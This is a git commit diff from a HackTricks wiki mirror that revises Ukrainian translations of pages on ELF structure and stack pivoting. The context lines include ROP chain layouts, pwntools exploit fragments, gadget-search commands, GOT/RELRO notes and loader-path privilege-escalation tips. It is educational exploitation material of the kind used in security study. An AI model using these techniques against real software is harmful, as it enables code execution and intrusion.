mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met
This commit is contained in:
parent
772561614e
commit
3d30ddec07
@ -881,7 +881,6 @@
|
||||
- [Interesting Http](todo/interesting-http.md)
|
||||
- [Rust Basics](todo/rust-basics.md)
|
||||
- [More Tools](todo/more-tools.md)
|
||||
- [MISC](todo/misc.md)
|
||||
- [Hardware Hacking](todo/hardware-hacking/README.md)
|
||||
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
|
||||
- [I2C](todo/hardware-hacking/i2c.md)
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Заголовки Програм
|
||||
## Заголовки Програми
|
||||
|
||||
Вони описують завантажувачу, як завантажити **ELF** в пам'ять:
|
||||
```bash
|
||||
@ -37,7 +37,7 @@ Segment Sections...
|
||||
07
|
||||
08 .init_array .fini_array .dynamic .got
|
||||
```
|
||||
Попередня програма має **9 заголовків програми**, тоді як **відображення сегментів** вказує, в якому заголовку програми (з 00 по 08) **знаходиться кожен розділ**.
|
||||
Попередня програма має **9 заголовків програми**, тоді як **відображення сегментів** вказує, в якому заголовку програми (з 00 до 08) **знаходиться кожен розділ**.
|
||||
|
||||
### PHDR - Заголовок програми
|
||||
|
||||
@ -64,7 +64,7 @@ Segment Sections...
|
||||
|
||||
Це зберігає інформацію про метадані постачальника бінарного файлу.
|
||||
|
||||
- На x86-64, `readelf -n` покаже прапори `GNU_PROPERTY_X86_FEATURE_1_*` всередині `.note.gnu.property`. Якщо ви бачите `IBT` і/або `SHSTK`, бінарний файл був створений з CET (відстеження непрямих переходів і/або тіньовий стек). Це впливає на ROP/JOP, оскільки цілі непрямих переходів повинні починатися з інструкції `ENDBR64`, а повернення перевіряються проти тіньового стека. Дивіться сторінку CET для деталей та приміток про обходи.
|
||||
- На x86-64, `readelf -n` покаже прапори `GNU_PROPERTY_X86_FEATURE_1_*` всередині `.note.gnu.property`. Якщо ви бачите `IBT` та/або `SHSTK`, бінарний файл був створений з CET (відстеження непрямих переходів та/або тіньовий стек). Це впливає на ROP/JOP, оскільки цілі непрямих переходів повинні починатися з інструкції `ENDBR64`, а повернення перевіряються проти тіньового стека. Дивіться сторінку CET для деталей та приміток про обходи.
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
||||
@ -72,7 +72,7 @@ Segment Sections...
|
||||
|
||||
### GNU_EH_FRAME
|
||||
|
||||
Визначає місце розташування таблиць розгортання стеку, які використовуються відладчиками та функціями обробки виключень C++.
|
||||
Визначає місцезнаходження таблиць розгортання стеку, які використовуються відладчиками та функціями обробки виключень C++.
|
||||
|
||||
### GNU_STACK
|
||||
|
||||
@ -82,13 +82,13 @@ Segment Sections...
|
||||
|
||||
### GNU_RELRO
|
||||
|
||||
Вказує конфігурацію RELRO (Relocation Read-Only) бінарного файлу. Цей захист позначить як тільки для читання певні розділи пам'яті (як `GOT` або таблиці `init` і `fini`) після завантаження програми і перед її виконанням.
|
||||
Вказує конфігурацію RELRO (переміщення тільки для читання) бінарного файлу. Цей захист позначить як тільки для читання певні розділи пам'яті (як `GOT` або таблиці `init` та `fini`) після завантаження програми та перед її виконанням.
|
||||
|
||||
У попередньому прикладі копіюється 0x3b8 байтів до 0x1fc48 як тільки для читання, що впливає на розділи `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
|
||||
Зверніть увагу, що RELRO може бути частковим або повним, часткова версія не захищає розділ **`.plt.got`**, який використовується для **лінивої прив'язки** і потребує цього простору пам'яті для надання **дозволів на запис**, щоб записати адресу бібліотек під час першого пошуку їхнього місця розташування.
|
||||
Зверніть увагу, що RELRO може бути частковим або повним, часткова версія не захищає розділ **`.plt.got`**, який використовується для **лінивої прив'язки** і потребує цього простору пам'яті для **дозволів на запис**, щоб записати адресу бібліотек під час першого пошуку їхнього місцезнаходження.
|
||||
|
||||
> Для технік експлуатації та актуальних приміток про обходи, перевірте спеціалізовану сторінку:
|
||||
> Для технік експлуатації та актуальних приміток про обходи перевірте спеціалізовану сторінку:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/relro.md
|
||||
@ -180,7 +180,7 @@ CONTENTS, READONLY
|
||||
|
||||
## Символи
|
||||
|
||||
Символи - це назване місцезнаходження в програмі, яке може бути функцією, глобальним об'єктом даних, локальними для потоку змінними...
|
||||
Символи - це іменоване місцезнаходження в програмі, яке може бути функцією, глобальним об'єктом даних, локальними для потоку змінними...
|
||||
```
|
||||
readelf -s lnstat
|
||||
|
||||
@ -204,7 +204,7 @@ Num: Value Size Type Bind Vis Ndx Name
|
||||
Кожен запис символу містить:
|
||||
|
||||
- **Ім'я**
|
||||
- **Атрибути зв'язування** (слабкий, локальний або глобальний): Локальний символ може бути доступний лише програмою, тоді як глобальний символ спільний за межами програми. Слабкий об'єкт, наприклад, це функція, яку можна переоприділити іншим.
|
||||
- **Атрибути зв'язування** (слабкий, локальний або глобальний): Локальний символ може бути доступний лише програмою, тоді як глобальні символи спільні за межами програми. Слабкий об'єкт, наприклад, це функція, яку можна переопределити іншою.
|
||||
- **Тип**: NOTYPE (тип не вказано), OBJECT (глобальна змінна даних), FUNC (функція), SECTION (секція), FILE (файл вихідного коду для налагоджувачів), TLS (змінна локального потоку), GNU_IFUNC (непряма функція для перенесення)
|
||||
- **Індекс секції**, де він розташований
|
||||
- **Значення** (адреса в пам'яті)
|
||||
@ -212,7 +212,7 @@ Num: Value Size Type Bind Vis Ndx Name
|
||||
|
||||
#### Версія символів GNU (dynsym/dynstr/gnu.version)
|
||||
|
||||
Сучасний glibc використовує версії символів. Ви побачите записи в `.gnu.version` та `.gnu.version_r`, а також імена символів, такі як `strlen@GLIBC_2.17`. Динамічний зв'язувач може вимагати конкретну версію при розв'язанні символу. При створенні ручних перенесень (наприклад, ret2dlresolve) ви повинні надати правильний індекс версії, інакше розв'язання не вдасться.
|
||||
Сучасний glibc використовує версії символів. Ви побачите записи в `.gnu.version` та `.gnu.version_r` і імена символів, такі як `strlen@GLIBC_2.17`. Динамічний зв'язувач може вимагати конкретну версію при розв'язанні символу. При створенні ручних перенесень (наприклад, ret2dlresolve) ви повинні надати правильний індекс версії, інакше розв'язання не вдасться.
|
||||
|
||||
## Динамічна секція
|
||||
```
|
||||
@ -249,7 +249,7 @@ Tag Type Name/Value
|
||||
0x000000006ffffff9 (RELACOUNT) 15
|
||||
0x0000000000000000 (NULL) 0x0
|
||||
```
|
||||
Директорія NEEDED вказує, що програма **потребує завантажити згадану бібліотеку** для продовження. Директорія NEEDED завершується, коли спільна **бібліотека повністю функціонує і готова** до використання.
|
||||
Директорія NEEDED вказує на те, що програма **потребує завантажити згадану бібліотеку** для продовження. Директорія NEEDED завершується, коли спільна **бібліотека повністю функціонує і готова** до використання.
|
||||
|
||||
### Порядок пошуку динамічного завантажувача (RPATH/RUNPATH, $ORIGIN)
|
||||
|
||||
@ -261,12 +261,12 @@ Tag Type Name/Value
|
||||
- `ld.so.cache`
|
||||
- стандартні директорії, такі як `/lib64`, `/usr/lib64` тощо.
|
||||
|
||||
`$ORIGIN` може бути використаний всередині RPATH/RUNPATH для посилання на директорію основного об'єкта. З точки зору атакуючого це важливо, коли ви контролюєте структуру файлової системи або середовище. Для захищених бінарних файлів (AT_SECURE) більшість змінних середовища ігнорується завантажувачем.
|
||||
`$ORIGIN` може бути використано всередині RPATH/RUNPATH для посилання на директорію основного об'єкта. З точки зору атакуючого це важливо, коли ви контролюєте структуру файлової системи або середовище. Для захищених бінарних файлів (AT_SECURE) більшість змінних середовища ігнорується завантажувачем.
|
||||
|
||||
- Перевірте за допомогою: `readelf -d ./bin | egrep -i 'r(path|unpath)'`
|
||||
- Швидкий тест: `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (показує рішення щодо пошукового шляху)
|
||||
|
||||
> Порада з приводу привілеїв: Віддавайте перевагу зловживанню записуваними RUNPATH або неправильно налаштованими шляхами, що відносяться до `$ORIGIN`, які належать вам. LD_PRELOAD/LD_AUDIT ігноруються в контекстах безпечного виконання (setuid).
|
||||
> Порада з приводу привілеїв: Віддавайте перевагу зловживанню записуваними RUNPATH або неправильно налаштованими шляхами, що відносні до `$ORIGIN`, які належать вам. LD_PRELOAD/LD_AUDIT ігноруються в контекстах безпечного виконання (setuid).
|
||||
|
||||
## Релокації
|
||||
|
||||
@ -342,17 +342,17 @@ Offset Info Type Sym. Value Sym. Name + Addend
|
||||
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
|
||||
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
|
||||
```
|
||||
### Статичні Релокації
|
||||
### Статичні перенесення
|
||||
|
||||
Якщо **програма завантажена в місце, відмінне** від бажаної адреси (зазвичай 0x400000) через те, що адреса вже використовується або через **ASLR**, або з будь-якої іншої причини, статична релокація **виправляє вказівники**, які мали значення, очікуючи, що бінарний файл буде завантажено за бажаною адресою.
|
||||
Якщо **програма завантажується в місце, відмінне** від бажаної адреси (зазвичай 0x400000) через те, що адреса вже використовується або через **ASLR**, або з будь-якої іншої причини, статичне перенесення **виправляє вказівники**, які мали значення, очікуючи, що бінарний файл буде завантажено за бажаною адресою.
|
||||
|
||||
Наприклад, будь-який розділ типу `R_AARCH64_RELATIV` повинен мати змінену адресу з урахуванням зміщення релокації плюс значення доданка.
|
||||
Наприклад, будь-який розділ типу `R_AARCH64_RELATIV` повинен мати змінену адресу за рахунок зміщення перенесення плюс значення доданого.
|
||||
|
||||
### Динамічні Релокації та GOT
|
||||
### Динамічні перенесення та GOT
|
||||
|
||||
Релокація також може посилатися на зовнішній символ (наприклад, функцію з залежності). Як функція malloc з libC. Тоді завантажувач, завантажуючи libC за адресою, перевіряючи, де завантажена функція malloc, запише цю адресу в таблицю GOT (Global Offset Table) (вказану в таблиці релокацій), де повинна бути вказана адреса malloc.
|
||||
Перенесення також може посилатися на зовнішній символ (наприклад, функцію з залежності). Як функція malloc з libC. Тоді завантажувач, завантажуючи libC за адресою, перевіряючи, де завантажена функція malloc, запише цю адресу в таблицю GOT (Global Offset Table) (вказану в таблиці перенесення), де повинна бути вказана адреса malloc.
|
||||
|
||||
### Таблиця Зв'язків Процедур
|
||||
### Таблиця зв'язків процедур
|
||||
|
||||
Розділ PLT дозволяє виконувати ліниве зв'язування, що означає, що розв'язання місця функції буде виконано перший раз, коли до неї звертаються.
|
||||
|
||||
@ -360,7 +360,7 @@ Offset Info Type Sym. Value Sym. Name + Addend
|
||||
|
||||
#### Сучасні поведінки зв'язування, які впливають на експлуатацію
|
||||
|
||||
- `-z now` (Повний RELRO) вимикає ліниве зв'язування; записи PLT все ще існують, але GOT/PLT відображається як тільки для читання, тому такі техніки, як **GOT overwrite** і **ret2dlresolve**, не спрацюють проти основного бінарного файлу (бібліотеки можуть залишатися частково RELRO). Дивіться:
|
||||
- `-z now` (Повний RELRO) вимикає ліниве зв'язування; записи PLT все ще існують, але GOT/PLT відображається як тільки для читання, тому такі техніки, як **перезапис GOT** і **ret2dlresolve**, не спрацюють проти основного бінарного файлу (бібліотеки можуть залишатися частково RELRO). Дивіться:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/relro.md
|
||||
@ -368,7 +368,7 @@ Offset Info Type Sym. Value Sym. Name + Addend
|
||||
|
||||
- `-fno-plt` змушує компілятор викликати зовнішні функції через **запис GOT безпосередньо** замість того, щоб проходити через PLT stub. Ви побачите послідовності викликів, такі як `mov reg, [got]; call reg` замість `call func@plt`. Це зменшує зловживання спекулятивним виконанням і трохи змінює полювання на ROP gadget навколо PLT stubs.
|
||||
|
||||
- PIE проти статичного-PIE: PIE (ET_DYN з `INTERP`) потребує динамічного завантажувача і підтримує звичайну механіку PLT/GOT. Статичне-PIE (ET_DYN без `INTERP`) має релокації, застосовані завантажувачем ядра, і немає `ld.so`; очікуйте відсутності розв'язання PLT під час виконання.
|
||||
- PIE проти статичного PIE: PIE (ET_DYN з `INTERP`) потребує динамічного завантажувача і підтримує звичайну механіку PLT/GOT. Статичне PIE (ET_DYN без `INTERP`) має перенесення, застосовані завантажувачем ядра, і немає `ld.so`; очікуйте відсутності розв'язання PLT під час виконання.
|
||||
|
||||
> Якщо GOT/PLT не є варіантом, переключіться на інші записувані вказівники коду або використовуйте класичний ROP/SROP у libc.
|
||||
|
||||
@ -376,9 +376,9 @@ Offset Info Type Sym. Value Sym. Name + Addend
|
||||
../arbitrary-write-2-exec/aw2exec-got-plt.md
|
||||
{{#endref}}
|
||||
|
||||
## Ініціалізація Програми
|
||||
## Ініціалізація програми
|
||||
|
||||
Після того, як програма була завантажена, настав час для її виконання. Однак перший код, який виконується, **не завжди є функцією `main`**. Це пов'язано з тим, що, наприклад, у C++, якщо **глобальна змінна є об'єктом класу**, цей об'єкт повинен бути **ініціалізований** **перед** виконанням main, як у:
|
||||
Після того, як програма була завантажена, настав час для її виконання. Однак перший код, який виконується, **не завжди є функцією `main`**. Це тому, що, наприклад, у C++, якщо **глобальна змінна є об'єктом класу**, цей об'єкт повинен бути **ініціалізований** **перед** виконанням main, як у:
|
||||
```cpp
|
||||
#include <stdio.h>
|
||||
// g++ autoinit.cpp -o autoinit
|
||||
@ -399,7 +399,7 @@ printf("Main\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Зверніть увагу, що ці глобальні змінні розташовані в `.data` або `.bss`, але в списках `__CTOR_LIST__` та `__DTOR_LIST__` об'єкти для ініціалізації та деструкції зберігаються в порядку, щоб відстежувати їх.
|
||||
Зверніть увагу, що ці глобальні змінні розташовані в `.data` або `.bss`, але в списках `__CTOR_LIST__` та `__DTOR_LIST__` об'єкти для ініціалізації та деструкції зберігаються, щоб відстежувати їх.
|
||||
|
||||
З коду C можливо отримати той же результат, використовуючи розширення GNU:
|
||||
```c
|
||||
@ -414,9 +414,9 @@ __attributte__((destructor)) //Add to the destructor list
|
||||
|
||||
#### Примітка щодо експлуатації
|
||||
|
||||
- У режимі Partial RELRO ці масиви знаходяться на сторінках, які все ще можна записувати, перш ніж `ld.so` змінить `PT_GNU_RELRO` на тільки для читання. Якщо ви отримаєте довільний запис досить рано або зможете націлити записувані масиви бібліотеки, ви можете перехопити контрольний потік, перезаписавши запис функцією на ваш вибір. У режимі Full RELRO вони є тільки для читання під час виконання.
|
||||
- Під Partial RELRO ці масиви живуть на сторінках, які все ще записувані до того, як `ld.so` змінює `PT_GNU_RELRO` на тільки для читання. Якщо ви отримаєте довільний запис досить рано або зможете націлити записувані масиви бібліотеки, ви можете перехопити контрольний потік, перезаписавши запис з функцією на ваш вибір. Під Full RELRO вони є тільки для читання під час виконання.
|
||||
|
||||
- Для зловживання лінивою прив'язкою динамічного зв'язувача для вирішення довільних символів під час виконання, дивіться спеціальну сторінку:
|
||||
- Для зловживання лінивою прив'язкою динамічного зв'язувача для вирішення довільних символів під час виконання, дивіться присвячену сторінку:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2dlresolve.md
|
||||
@ -425,7 +425,7 @@ __attributte__((destructor)) //Add to the destructor list
|
||||
### Порядок ініціалізації
|
||||
|
||||
1. Програма завантажується в пам'ять, статичні глобальні змінні ініціалізуються в **`.data`** та неініціалізовані обнуляються в **`.bss`**.
|
||||
2. Всі **залежності** програми або бібліотек **ініціалізуються**, і виконується **динамічне зв'язування**.
|
||||
2. Всі **залежності** для програми або бібліотек **ініціалізуються**, і виконується **динамічне зв'язування**.
|
||||
3. Виконуються функції **`PREINIT_ARRAY`**.
|
||||
4. Виконуються функції **`INIT_ARRAY`**.
|
||||
5. Якщо є запис **`INIT`**, він викликається.
|
||||
@ -435,13 +435,13 @@ __attributte__((destructor)) //Add to the destructor list
|
||||
|
||||
Вони визначаються за допомогою ключового слова **`__thread_local`** в C++ або розширення GNU **`__thread`**.
|
||||
|
||||
Кожен потік буде підтримувати унікальне місце для цієї змінної, тому лише потік може отримати доступ до своєї змінної.
|
||||
Кожен потік буде підтримувати унікальне місце для цієї змінної, тому тільки потік може отримати доступ до своєї змінної.
|
||||
|
||||
Коли це використовується, секції **`.tdata`** та **`.tbss`** використовуються в ELF. Вони подібні до `.data` (ініціалізовані) та `.bss` (не ініціалізовані), але для TLS.
|
||||
|
||||
Кожна змінна матиме запис у заголовку TLS, що вказує на розмір та зсув TLS, який буде використовуватися в локальній області даних потоку.
|
||||
|
||||
`__TLS_MODULE_BASE` - це символ, що використовується для посилання на базову адресу локального зберігання потоків і вказує на область пам'яті, що містить всі дані локального потоку модуля.
|
||||
`__TLS_MODULE_BASE` - це символ, що використовується для посилання на базову адресу локального зберігання потоку та вказує на область пам'яті, що містить всі дані локального потоку модуля.
|
||||
|
||||
## Допоміжний вектор (auxv) та vDSO
|
||||
|
||||
|
||||
@ -22,7 +22,7 @@ ret
|
||||
|
||||
Ця техніка особливо корисна, коли ви можете **змінити збережений EBP/RBP, але не маєте прямого способу змінити EIP/RIP**. Вона використовує поведінку епілогу функції.
|
||||
|
||||
Якщо під час виконання `fvuln` вам вдасться впровадити **підроблений EBP** у стек, який вказує на область пам'яті, де знаходиться адреса вашого shellcode/ROP ланцюга (плюс 8 байт на amd64 / 4 байти на x86 для врахування `pop`), ви можете непрямо контролювати RIP. Коли функція повертається, `leave` встановлює RSP на створене місце, а наступний `pop rbp` зменшує RSP, **ефективно вказуючи на адресу, збережену атакуючим там**. Тоді `ret` використовуватиме цю адресу.
|
||||
Якщо під час виконання `fvuln` вам вдасться впровадити **підроблений EBP** у стек, який вказує на область пам'яті, де знаходиться адреса вашого shellcode/ROP ланцюга (плюс 8 байтів на amd64 / 4 байти на x86 для врахування `pop`), ви можете непрямо контролювати RIP. Коли функція повертається, `leave` встановлює RSP на створене місце, а наступний `pop rbp` зменшує RSP, **ефективно вказуючи на адресу, збережену атакуючим там**. Тоді `ret` використовуватиме цю адресу.
|
||||
|
||||
Зверніть увагу, що вам **потрібно знати 2 адреси**: адресу, куди ESP/RSP буде йти, і значення, збережене за цією адресою, яке `ret` споживатиме.
|
||||
|
||||
@ -41,13 +41,13 @@ ret
|
||||
|
||||
#### Вразливість Off-By-One
|
||||
|
||||
Існує варіант, який використовується, коли ви можете **змінити лише найменш значущий байт збереженого EBP/RBP**. У такому випадку місце в пам'яті, що зберігає адресу для переходу з **`ret`**, повинно ділити перші три/п'ять байтів з оригінальним EBP/RBP, щоб 1-байтове перезаписування могло перенаправити його. Зазвичай низький байт (зсув 0x00) збільшується, щоб стрибнути якомога далі в межах сусідньої сторінки/вирівняної області.
|
||||
Існує варіант, який використовується, коли ви можете **змінити лише найменш значущий байт збереженого EBP/RBP**. У такому випадку, місце в пам'яті, що зберігає адресу для переходу з **`ret`**, повинно ділити перші три/п'ять байтів з оригінальним EBP/RBP, щоб 1-байтове перезаписування могло перенаправити його. Зазвичай низький байт (зсув 0x00) збільшується, щоб стрибнути якомога далі в межах сусідньої сторінки/вирівняної області.
|
||||
|
||||
Також поширено використовувати RET сани в стеці та розміщувати реальний ROP ланцюг в кінці, щоб підвищити ймовірність того, що новий RSP вказує всередину сани, і фінальний ROP ланцюг виконується.
|
||||
Також поширено використовувати RET сани в стеку і розміщувати реальний ROP ланцюг в кінці, щоб підвищити ймовірність того, що новий RSP вказує всередині сани, і фінальний ROP ланцюг виконується.
|
||||
|
||||
### Ланцюгування EBP
|
||||
### Ланцюг EBP
|
||||
|
||||
Розміщуючи контрольовану адресу в збереженому слоті `EBP` стека та гаджет `leave; ret` в `EIP/RIP`, можна **перемістити `ESP/RSP` на адресу, контрольовану атакуючим**.
|
||||
Розміщуючи контрольовану адресу в збереженому слоті `EBP` стека і гаджет `leave; ret` в `EIP/RIP`, можна **перемістити `ESP/RSP` на адресу, контрольовану атакуючим**.
|
||||
|
||||
Тепер `RSP` контролюється, і наступна інструкція - `ret`. Розмістіть у контрольованій пам'яті щось на зразок:
|
||||
|
||||
@ -56,7 +56,7 @@ ret
|
||||
- `&(leave;ret)` -> Після завершення `system` переміщує RSP до наступного підробленого EBP і продовжує.
|
||||
- `&("/bin/sh")` -> Аргумент для `system`.
|
||||
|
||||
Таким чином, можливо з'єднати кілька підроблених EBP для контролю потоку програми.
|
||||
Таким чином, можливо з'єднати кілька підроблених EBP, щоб контролювати потік програми.
|
||||
|
||||
Це схоже на [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), але складніше і корисне лише в крайніх випадках.
|
||||
|
||||
@ -96,7 +96,7 @@ pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
> amd64 вирівнювання поради: System V ABI вимагає вирівнювання стеку на 16 байт у точках виклику. Якщо ваш ланцюг викликає функції, такі як `system`, додайте гаджет вирівнювання (наприклад, `ret`, або `sub rsp, 8 ; ret`) перед викликом, щоб підтримувати вирівнювання і уникнути аварій `movaps`.
|
||||
> amd64 вирівнювання порад: System V ABI вимагає вирівнювання стеку на 16 байт у точках виклику. Якщо ваш ланцюг викликає функції, такі як `system`, додайте гаджет вирівнювання (наприклад, `ret`, або `sub rsp, 8 ; ret`) перед викликом, щоб підтримувати вирівнювання і уникнути аварій `movaps`.
|
||||
|
||||
## EBP може не використовуватися
|
||||
|
||||
@ -124,13 +124,13 @@ add $0x10c,%esp # reduce stack size
|
||||
pop %ebx # restore
|
||||
ret # return
|
||||
```
|
||||
На amd64 ви часто побачите `pop rbp ; ret` замість `leave ; ret`, але якщо вказівник кадру зовсім відсутній, тоді немає епілогу на основі `rbp`, через який можна було б здійснити півотування.
|
||||
На amd64 ви часто побачите `pop rbp ; ret` замість `leave ; ret`, але якщо вказівник кадру зовсім відсутній, то немає епілогу на основі `rbp`, через який можна було б здійснити півотування.
|
||||
|
||||
## Інші способи контролю RSP
|
||||
|
||||
### Гаджет `pop rsp`
|
||||
### `pop rsp` гаджет
|
||||
|
||||
[**На цій сторінці**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) ви можете знайти приклад використання цієї техніки. Для цього завдання потрібно було викликати функцію з 2 специфічними аргументами, і там був **гаджет `pop rsp`** і є **leak з стеку**:
|
||||
[**На цій сторінці**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) ви можете знайти приклад використання цієї техніки. Для цього завдання потрібно було викликати функцію з 2 специфічними аргументами, і був **`pop rsp` гаджет** та є **leak з стеку**:
|
||||
```python
|
||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||
# This version has added comments
|
||||
@ -192,7 +192,7 @@ xchg <reg>, rsp
|
||||
|
||||
Використовуйте свій улюблений пошуковик гаджетів для пошуку класичних півотних примітивів:
|
||||
|
||||
- `leave ; ret` у функціях або в бібліотеках
|
||||
- `leave ; ret` у функціях або бібліотеках
|
||||
- `pop rsp` / `xchg rax, rsp ; ret`
|
||||
- `add rsp, <imm> ; ret` (або `add esp, <imm> ; ret` на x86)
|
||||
|
||||
@ -210,13 +210,13 @@ ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
|
||||
|
||||
Надійна стратегія півотування, що використовується в багатьох CTF/експлойтах:
|
||||
|
||||
1) Використовуйте невеликий початковий переповненіє, щоб викликати `read`/`recv` у великій записуваній області (наприклад, `.bss`, купа або відображена RW пам'ять) і розмістіть там повний ROP ланцюг.
|
||||
1) Використовуйте невеликий початковий переповненість, щоб викликати `read`/`recv` у великій записуваній області (наприклад, `.bss`, купа або відображена RW пам'ять) і розмістіть там повний ROP ланцюг.
|
||||
2) Поверніться до півотного гаджета (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`), щоб перемістити RSP до цієї області.
|
||||
3) Продовжте з підготовленим ланцюгом (наприклад, витік libc, виклик `mprotect`, потім `read` shellcode, потім перехід до нього).
|
||||
|
||||
## Сучасні заходи, які порушують півотування стеку (CET/Shadow Stack)
|
||||
|
||||
Сучасні процесори x86 та операційні системи все частіше впроваджують **CET Shadow Stack (SHSTK)**. При ввімкненому SHSTK, `ret` порівнює адресу повернення на звичайному стеку з апаратно захищеним тіньовим стеком; будь-яка невідповідність викликає помилку контролю захисту і завершує процес. Тому техніки, такі як EBP2Ret/leave;ret-орієнтовані півоти, зламаються, як тільки виконується перший `ret` з півотованого стеку.
|
||||
Сучасні процесори x86 та операційні системи все частіше впроваджують **CET Shadow Stack (SHSTK)**. При увімкненому SHSTK, `ret` порівнює адресу повернення на звичайному стеку з апаратно захищеним тіньовим стеком; будь-яка невідповідність викликає помилку контролю захисту і завершує процес. Тому техніки, такі як EBP2Ret/leave;ret-базовані півоти, зламаються, як тільки виконується перший `ret` з півотованого стеку.
|
||||
|
||||
- Для фону та детальнішої інформації дивіться:
|
||||
|
||||
@ -239,16 +239,16 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
|
||||
(gdb) checksec
|
||||
```
|
||||
- Примітки для лабораторій/CTF:
|
||||
- Деякі сучасні дистрибутиви активують SHSTK для бінарників з увімкненим CET, коли є підтримка апаратного забезпечення та glibc. Для контрольованого тестування у ВМ SHSTK можна вимкнути на системному рівні за допомогою параметра завантаження ядра `nousershstk`, або вибірково активувати через налаштування glibc під час запуску (див. посилання). Не вимикайте пом'якшення на продуктивних цілях.
|
||||
- Деякі сучасні дистрибутиви активують SHSTK для бінарників з увімкненим CET, коли є підтримка апаратного забезпечення та glibc. Для контрольного тестування у ВМ SHSTK можна вимкнути на системному рівні за допомогою параметра завантаження ядра `nousershstk`, або вибірково активувати через налаштування glibc під час запуску (див. посилання). Не вимикайте пом'якшення на продуктивних цілях.
|
||||
- Техніки на основі JOP/COOP або SROP можуть залишатися життєздатними на деяких цілях, але SHSTK спеціально порушує `ret`-базовані піводи.
|
||||
|
||||
- Примітка для Windows: Windows 10+ відкриває режим користувача, а Windows 11 додає режим ядра "Aпаратно забезпечений захист стеку", побудований на тіньових стеках. Процеси, сумісні з CET, запобігають піводам стеку/ROP на `ret`; розробники можуть включити це через CETCOMPAT та пов'язані політики (див. посилання).
|
||||
|
||||
## ARM64
|
||||
|
||||
В ARM64 **пролог і епілог** функцій **не зберігають і не відновлюють регістр SP** у стеку. Більше того, інструкція **`RET`** не повертає за адресою, вказаною SP, а **за адресою всередині `x30`**.
|
||||
В ARM64 **пролог та епілоги** функцій **не зберігають і не відновлюють регістр SP** у стеку. Більше того, інструкція **`RET`** не повертає за адресою, на яку вказує SP, а **за адресою всередині `x30`**.
|
||||
|
||||
Отже, за замовчуванням, просто зловживаючи епілогом, ви **не зможете контролювати регістр SP**, переписуючи деякі дані всередині стека. І навіть якщо вам вдасться контролювати SP, вам все ще знадобиться спосіб **контролювати регістр `x30`**.
|
||||
Отже, за замовчуванням, просто зловживаючи епілогом, ви **не зможете контролювати регістр SP**, переписуючи деякі дані всередині стеку. І навіть якщо вам вдасться контролювати SP, вам все ще знадобиться спосіб **контролювати регістр `x30`**.
|
||||
|
||||
- пролог
|
||||
|
||||
@ -267,7 +267,7 @@ ret
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Спосіб виконати щось подібне до піводів стеку в ARM64 полягатиме в тому, щоб мати можливість **контролювати `SP`** (контролюючи якийсь регістр, значення якого передається до `SP`, або через те, що з якоїсь причини `SP` отримує свою адресу зі стека, і у нас є переповнення) і потім **зловживати епілогом**, щоб завантажити регістр **`x30`** з **контрольованого `SP`** і **`RET`** до нього.
|
||||
> Спосіб виконати щось подібне до піводів стеку в ARM64 полягатиме в тому, щоб мати можливість **контролювати `SP`** (контролюючи якийсь регістр, значення якого передається до `SP`, або через те, що з якоїсь причини `SP` отримує свою адресу зі стеку, і у нас є переповнення) і потім **зловживати епілогом**, щоб завантажити регістр **`x30`** з **контрольованого `SP`** і **`RET`** до нього.
|
||||
|
||||
Також на наступній сторінці ви можете побачити еквівалент **Ret2esp в ARM64**:
|
||||
|
||||
@ -282,7 +282,7 @@ ret
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 біти, експлуатація off by one з ланцюгом rop, що починається з ret sled
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 біти, без relro, canary, nx і pie. Програма надає leak для стеку або pie і WWW для qword. Спочатку отримайте leak стека і використовуйте WWW, щоб повернутися і отримати leak pie. Потім використовуйте WWW, щоб створити вічний цикл, зловживаючи записами `.fini_array` + викликом `__libc_csu_fini` ([більше інформації тут](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Зловживаючи цим "вічним" записом, в .bss записується ланцюг ROP, і в кінці викликається, піводячи з RBP.
|
||||
- 64 біти, без relro, canary, nx і pie. Програма надає leak для стеку або pie і WWW для qword. Спочатку отримайте leak стеку і використовуйте WWW, щоб повернутися і отримати leak pie. Потім використовуйте WWW, щоб створити вічний цикл, зловживаючи записами `.fini_array` + викликом `__libc_csu_fini` ([більше інформації тут](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Зловживаючи цим "вічним" записом, в .bss записується ланцюг ROP, і в кінці викликається півод з RBP.
|
||||
- Документація ядра Linux: Технологія забезпечення контролю потоку (CET) Тіньовий стек — деталі про SHSTK, `nousershstk`, прапори `/proc/$PID/status` та активацію через `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
|
||||
